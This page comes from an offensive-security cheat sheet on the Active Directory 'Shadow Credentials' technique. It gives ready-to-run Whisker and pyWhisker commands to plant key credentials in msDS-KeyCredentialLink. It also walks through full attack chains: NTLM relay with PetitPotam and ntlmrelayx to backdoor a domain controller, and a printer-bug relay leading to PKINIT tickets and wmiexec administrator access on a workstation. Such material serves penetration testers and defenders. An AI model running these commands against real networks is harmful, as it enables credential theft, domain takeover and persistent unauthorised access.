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InternalAllTheThings/docs/active-directory/pwd-shadow-credentials.md

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Password - Shadow Credentials

Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

⚠️ User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements:

  • Domain Controller on (at least) Windows Server 2016
  • Domain must have Active Directory Certificate Services and Certificate Authority configured
  • PKINIT Kerberos authentication
  • An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object

Exploitation:

  • From Windows, use Whisker:

    # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
# Removes a key credential from the target object specified by a DeviceID GUID.
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b

  • From Linux, use pyWhisker:

    # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
# Removes a key credential from the target object specified by a DeviceID GUID.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"

Scenario:

  • Scenario 1: Shadow Credential relaying

    • Trigger an NTLM authentication from DC01 (PetitPotam)
    • Relay it to DC02 (ntlmrelayx)
    • Edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
    • Alternatively : ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

  • Scenario 2: Workstation Takeover with RBCD

    # Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

# Set up ntlmrelayx to relay authentication from target workstation to DC 
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

# Execute printer bug to trigger authentication from target workstation 
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file

# Get a TGT using the newly acquired certificate via PKINIT 
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

# Get a ST (service ticket) for the target account 
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

# Utilize the ST for future activity 
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab

References